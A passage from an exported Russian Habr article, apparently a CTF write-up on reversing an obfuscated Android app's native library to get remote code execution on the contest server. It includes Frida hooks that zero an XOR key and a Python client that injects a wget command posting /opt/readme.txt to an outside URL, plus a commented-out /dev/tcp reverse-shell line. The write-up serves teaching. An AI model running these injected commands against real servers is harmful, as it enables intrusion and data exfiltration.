\u0447\u0442\u043e \u0438 \u0432\u0441\u0435\u0433\u0434\u0430: \u043f\u0438\u0448\u0435\u043c \u0445\u0443\u043a \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f.   <\/p>\n<pre><code class=\"javascript\">function toHexString(addr, length) {       let result = '';     for (var i = 0; i &lt; length; i++) { \u00a0\u00a0\u00a0 result += ('0' + (addr.add(i).readU8() &amp; 0xFF).toString(16)).slice(-2);     }     return result;  }   function makeTlsHook() {     Interceptor.attach(Module.findBaseAddress(\u00ablibchallenge.so\u00bb).add(0x92a70), { \u00a0\u00a0\u00a0\u00a0    onEnter: function(args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(toHexString(args[0], uint64(args[1].toString()))); \u00a0\u00a0\u00a0\u00a0    }     })  }  <\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 hexdump, \u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u043f\u043e\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0433\u043e\u043d\u044f\u0442\u044c \u0435\u0433\u043e \u0432\u044b\u0432\u043e\u0434 \u0432 Python.<\/p>\n<p>\u0412\u044b\u0432\u043e\u0434, \u0443\u0436\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043a\u043e\u0436\u0435\u043d\u043d\u044b\u0439 Python\u2019\u043e\u043c: <\/p>\n<p><code>b'TRYHRDER\\n\\x00\\xa3\\x00\\x00\\x00\\x00\\x00\\xe2;+^\\xea;;^\\x82;&amp;^\\x87;%^\\x89;&amp;^\\xb2;%^\\xb4;+^\\xbc;+^\\xa4;%^\\xae;(^U;7^I;+^S&lt;H?\\xd2;#^\\xb1TNp\\xb7CB3\\xa2WFp\\xb6X|=\\xbaZO2\\xb7UD;\\xa2IB:\\xb3cJ?\\xbdVJ.\\xa0ZG?\\x9fval\\xebvq;\\xb6VJ\\xe7\\rq;\\xb6VJ\\xe7\\r[f\\xe4d\\x15j\\xb6ZW;\\xf2\\x19\\x08{\\x9c\\x19#3.\\xaais\\x1e\\xa9mu\\xef\\x01\\x9f\\xdd^g\\xa3\\x156\\xd2\\x03\\xdc\\xd5PB^\\xd2;#\\xd2;#^'<\/code><\/p>\n<p>\u0425\u043e\u0442\u0435\u043b\u043e\u0441\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0441\u0440\u0430\u0437\u0443 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0435\u0433\u043e \u0440\u0430\u0441\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c.  <\/p>\n<h3>\u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n<p>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432\u043e\u0437\u044c\u043c\u0451\u043c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e payload\u2019\u043e\u0432 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u043c \u0438\u0445 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439. \u0421\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0435 16 \u0431\u0430\u0439\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f.  <\/p>\n<p>\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0437\u0433\u043b\u044f\u0434\u0430, \u0432 \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442\u0435 \u0432\u044b\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b:<\/p>\n<pre><code>54525948524445520a00a30000000000  # \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a (16 \u0431\u0430\u0439\u0442) e23b2b5e ea3b3b5e 823b265e 873b255e 893b265e b23b255e b43b2b5e bc3b2b5e a43b255e ae3b285e 553b375e 493b2b5e 533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e<\/code><\/pre>\n<p> \u0418\u043d\u0442\u0443\u0438\u0446\u0438\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u0435\u0441\u0442\u044c 32-\u0431\u0438\u0442\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0432 little endian, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 XOR\u044f\u0442\u0441\u044f \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043d\u0435\u043f\u0440\u0438\u043b\u0438\u0447\u043d\u043e \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043d\u0435 \u0431\u043e\u043b\u0435\u0435 4 \u0431\u0430\u0439\u0442 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u00ab5e\u00bb \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u2014 \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0448\u0438\u0435 \u0431\u0430\u0439\u0442\u044b \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0434\u0440\u0443\u0433 \u043e\u0442 \u0434\u0440\u0443\u0433\u0430 \u0447\u0438\u0441\u0435\u043b).<\/p>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435, \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u0436\u0435 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u043b\u044e\u0447 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442\u0443, \u043e\u0434\u043d\u0430\u043a\u043e \u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043b, \u0447\u0442\u043e \u0432 <code>collectMetrics<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>arc4random_buf<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u044d\u0442\u043e\u0442 4-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043a\u043b\u044e\u0447. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0432\u044b \u0443\u0436\u0435 \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0435\u0441\u044c, \u043a \u0447\u0435\u043c\u0443 \u0432\u0441\u0451 \u0438\u0434\u0451\u0442.<\/p>\n<pre><code class=\"javascript\">function randHook() {                Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, \u00abarc4random_buf\u00bb), { \u00a0\u00a0\u00a0\u00a0    onEnter: function (args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    this.buf = args[0]; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(\u00abarc4random_buf \u00ab + args[0] + \u00ab \u00ab + args[1] + \u00ab \u00ab + bt) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }, \u00a0\u00a0\u00a0\u00a0    onLeave: function (ret) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    this.buf.writeU32(0); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043a\u043b\u044e\u0447 \u043d\u0443\u043b\u0435\u0432\u043e\u0439, \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u044f\u0442\u043d\u0435\u0435:<\/p>\n<p><code>b'TRYHRDER\\n\\x00\\xa1\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x008\\x00\\x18\\x00P\\x00\\x05\\x00U\\x00\\x06\\x00[\\x00\\x05\\x00`\\x00\\x06\\x00f\\x00\\x07\\x00m\\x00\\x07\\x00t\\x00\\x06\\x00z\\x00\\x0b\\x00\\x85\\x00\\x14\\x00\\x99\\x00\\x08\\x00i\\xd3ja\\x00\\x00\\x00\\x00com.example.dc_challengepradaXiaomipradaMMB29MRedmi 4Redmi 4x86_64date \"+%N\"\\x00m\\xfc\\x91J-\\xcc\\x92N+=:\\xbc\\x83\\x8c\\\\\\x80K\\xe4\\xe9 j\\xd3ja\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'<\/code>  <\/p>\n<p>\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0432 \u0438\u0442\u043e\u0433\u0435:<\/p>\n<ol>\n<li>\n<p>16-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a.<\/p>\n<\/li>\n<li>\n<p>12 \u043f\u0430\u0440 \u0447\u0438\u0441\u0435\u043b \u0442\u0438\u043f\u0430 short, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438 \u0434\u043b\u0438\u043d\u044b \u0445\u0440\u0430\u043d\u0438\u043c\u044b\u0445 \u0441\u0442\u0440\u043e\u043a.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0438 \u0431\u0435\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439.<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u0438\u0448\u0435\u043c \u0441\u0432\u043e\u0439 \u043a\u043b\u0438\u0435\u043d\u0442<\/h3>\n<p> \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438:  <\/p>\n<ol>\n<li>\n<p>\u0418\u043c\u044f \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u044f \u0438\u0437 <code>android.os.Build<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0442\u0440\u043e\u043a\u0430 date <code>\"+%N\u00bb\\\\x00<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u041a\u0430\u043a\u043e\u0435-\u0442\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u043d\u043e\u0435 20-\u0431\u0430\u0439\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0445\u0435\u0448 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0431\u044b\u043b\u043e \u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043e \u0438 \u043f\u0435\u0440\u0435\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043e.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0440\u0435\u043c\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u043a\u043e\u043d\u0446\u0430 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f (\u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Unix Timestamp \u0441 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0434\u043e \u0441\u0435\u043a\u0443\u043d\u0434).<\/p>\n<\/li>\n<\/ol>\n<p> \u0414\u0430\u043b\u044c\u0448\u0435 \u0432\u0441\u0451 \u043f\u0440\u043e\u0449\u0435 \u043d\u0435\u043a\u0443\u0434\u0430: \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 &#171;date&#187; \u043d\u0430 <code>wget --post-data \"$(cat \/opt\/readme.txt)\" ...<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u043b\u0430\u0433.   <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/env python3  import struct, ssl, socket, time   def xor(a, b):     return bytes([x^y for x, y in zip(bytearray(a),  bytearray(b))])  def dump_buffer(buffer):       print(buffer[:16])     key = buffer[-4:]     buffer = buffer[:16] + xor(buffer[16:], key * 1000)     numbers = []     for i in range(16, 64, 4): \u00a0\u00a0\u00a0\u00a0    numbers.append((struct.unpack('&lt;H', buffer[i:i+2]) [0], struct.unpack('&lt;H', buffer[i+2:i+4]) [0]))     for addr, length in numbers: \u00a0\u00a0\u00a0\u00a0    print(buffer[16+addr:16+addr+length])     print(buffer[64:])  def make_buffer():       data = [  struct.pack(\"&lt;Q\",int(time.time())), b'com.example.dc_challenge',   \u00a0\u00a0\u00a0\u00a0    b'prada',  \u00a0\u00a0\u00a0\u00a0    b'Xiaomi', \u00a0\u00a0\u00a0\u00a0    b'prada', \u00a0\u00a0\u00a0\u00a0    b'MMB29M', \u00a0\u00a0\u00a0\u00a0    b'Redmi 56', \u00a0\u00a0\u00a0\u00a0    b'Redmi 56', \u00a0\u00a0\u00a0\u00a0    b'x86_64', \u00a0\u00a0\u00a0\u00a0    b'wget --post-data \u00ab$(cat \/opt\/readme.txt)\u00bb https:\/\/putsreq.com\/H9bjgvqaXTSEuBiJLYA5', #b'\/bin\/bash -i >&amp; \/dev\/tcp\/130.61.246.58\/1337 0>&amp;1', \u00a0\u00a0\u00a0\u00a0    b'm\\xfc\\x91J-\\xcc\\x92N+=:\\xbc\\x83\\x8c\\\\x80K\\xe4\\xe9 ',   struct.pack(\"&lt;Q\", int (time.time ( )) + 1     ]       body = bytearray()     offset = 0     for piece in data: \u00a0   body += struct.pack(\"&lt;H\", len (data) * 4 + offset)     body += struct.pack(\"&lt;H\", len (piece))   offset += len (piece)     for piece in data:  body += piece       header = b\"TRYHRDER\\n\\x00\" + struct.pack(\"&lt;H\", len(body)) + b \"\\x00\\x00\\x00\\x00\" key = b'\\x00\\x00\\x00\\x00'  return header + xor(body, key * 1000) + key   def do_ssl(buffer):     context = ssl.create_default_context()      context.check_hostname = False     context.verify_mode = ssl.CERT_NONE     with socket.create_connection((\u00ab146.185.209.143\u00bb, 7821)) as sock:   with context.wrap_socket(sock,  server_hostname=\"146.185.209.143\") as ssock:   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    print(ssock.version()) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    ssock.send(buffer)   buffer = make_buffer()  dump_buffer(buffer)  do_ssl(buffer)  <\/code><\/pre>\n<h2>\u0412\u044b\u0432\u043e\u0434<\/h2>\n<p>\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441. \u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0439 \u0431\u044b\u043b\u0430 \u0432\u044b\u0448\u0435 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e, \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437 \u043c\u044b \u044d\u0442\u043e \u0443\u0447\u0442\u0451\u043c \u0438 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u043e\u0440\u043c\u0430\u0442, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0431\u044b\u043b \u0431\u043b\u0438\u0436\u0435 \u0431\u043e\u043b\u044c\u0448\u0435\u043c\u0443 \u0447\u0438\u0441\u043b\u0443 \u043b\u044e\u0434\u0435\u0439. \u0418 \u0435\u0449\u0451 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u0437\u043e\u0432. \u0427\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u0430\u0448\u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0441\u0442\u044b, \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u0431\u043b\u043e\u0433. \u0410 \u0437\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432\u044b \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u043b\u043e\u0434\u0446\u044b \u0438 \u0434\u043e\u0447\u0438\u0442\u0430\u043b\u0438 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u0437\u0430\u043a\u0430\u0436\u0438\u0442\u0435 \u0441\u0435\u0431\u0435 \u043a\u043e\u0444\u0435 \u043d\u0430\u0432\u044b\u043d\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Delivery Club.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/588026\/\"> https:\/\/habr.com\/ru\/articles\/588026\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u0418\u043b\u044c\u044f \u0421\u0430\u0444\u0440\u043e\u043d\u043e\u0432, \u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0436\u0443 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Delivery Club. \u0422\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0434\u043d\u044f \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/deliveryclub\/news\/t\/583554\/\">\u043a\u043e\u043d\u043a\u0443\u0440\u0441<\/a> \u043f\u043e \u0440\u0435\u0432\u0435\u0440\u0441\u0443 \u0438 \u043f\u043e\u0438\u0441\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438. \u0426\u0435\u043b\u044c\u044e \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0431\u044d\u043a\u0435\u043d\u0434\u0435 (RCE). \u0417\u0430 \u0432\u0440\u0435\u043c\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 APK \u0441\u043a\u0430\u0447\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 400 \u0440\u0430\u0437, \u0430 \u0441\u043b\u043e\u043c\u0430\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u0440\u0430\u0437\u0430, Hall of Fame \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0432 \u0447\u0451\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u043a\u0430\u043a \u0435\u0451 \u0440\u0435\u0448\u0430\u0442\u044c. \u041e\u0434\u0438\u043d \u0438\u0437 \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u2014 <a href=\"https:\/\/habr.com\/ru\/users\/D3fl4t3\/\">@D3fl4t3<\/a> \u2014 \u043f\u0440\u0438\u0441\u043b\u0430\u043b \u043d\u0430\u043c \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442, \u0435\u0433\u043e \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0430\u0448\u0435\u043c\u0443 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044e.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u043e\u0441\u043c\u043e\u0442\u0440 <\/h3>\n<p>\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 Android-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0432 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0436\u0430\u0442\u044c \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443, \u043d\u043e \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u044b\u043b\u0435\u0442\u0430\u0435\u0442. \u0412\u043d\u0443\u0442\u0440\u0438 Java-\u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e: \u043a\u043d\u043e\u043f\u043a\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <code>collectMetrics<\/code> \u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043e\u0434\u043d\u043e \u0438\u0437 \u0434\u0432\u0443\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.<\/p>\n<h3>\u041d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430<\/h3>\n<p>\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 Control Flow Flattening, Opaque Predicate \u0438 \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438. \u0418\u0434\u0451\u043c \u0432 <code>JNI_OnLoad<\/code>, \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0442\u0438\u043f 